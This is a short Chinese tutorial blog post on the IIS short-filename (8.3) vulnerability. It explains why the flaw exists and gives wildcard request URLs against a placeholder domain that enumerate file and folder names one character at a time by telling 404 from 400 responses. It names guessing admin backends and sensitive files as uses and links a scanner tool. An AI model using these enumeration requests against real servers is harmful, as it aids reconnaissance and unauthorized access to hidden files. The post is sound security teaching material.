iis短文件名漏洞

一、漏洞的成因

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名。

在Windows下查看对应的短文件名,可以使用命令 dir /x

iis短文件名漏洞_第1张图片

短文件名有如下特征:

1.只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件,像前六位相同的话,而且后缀前3位必须相同。

2.后缀名最长只有3位,多余的被截断。

我们可以启用.net的iis下暴力列举短文件名,原因是:

1.访问构造的某个存在的短文件名,会返回404

2.访问构造的某个不存在的短文件名,会返回400

二、漏洞的利用

需要使用到通配符*。*可以匹配n个字符,n可以为0.判断某站点是否存在iis段文件名暴力破解,构造payload,分别访问以下两个url

1.http://www.xxxx.com/*~1***/a.aspx

2.http://www.xxxx.com/dad*~1***/a.aspx

如果404 则文件存在

继续猜解

http://www.xxxx.com/a*~1***/a.aspx 404

http://www.xxxx.com/ad*~1***/a.aspx 404

http://www.xxxx.com/adm*~1***/a.aspx

依次类推,一个一个枚举就可以进行下去

注意:如果admin开头的是一个文件夹,则

http://www.xxxx.com/admin*~1/a.aspx  会是404的

继续猜解

http://www.xxxx.com/admin*~1*g*/a.aspx

如果404,则扩展名肯定有g,按这个思路继续


三、实际用处

1.猜后台

2.猜敏感文件

3.一些情况,可以通过短文件名直接下载对应的文件

四、局限性

只能猜6位,以及扩展名前3位

名称较短的文件是没有相应的短文件名的

需要iis和.net两个条件都满足

exp:https://github.com/lijiejie/IIS_shortname_Scanner

感谢李姐姐,原文地址http://www.lijiejie.com/iis-win8-3-shortname-brute/




你可能感兴趣的:(iis短文件名漏洞)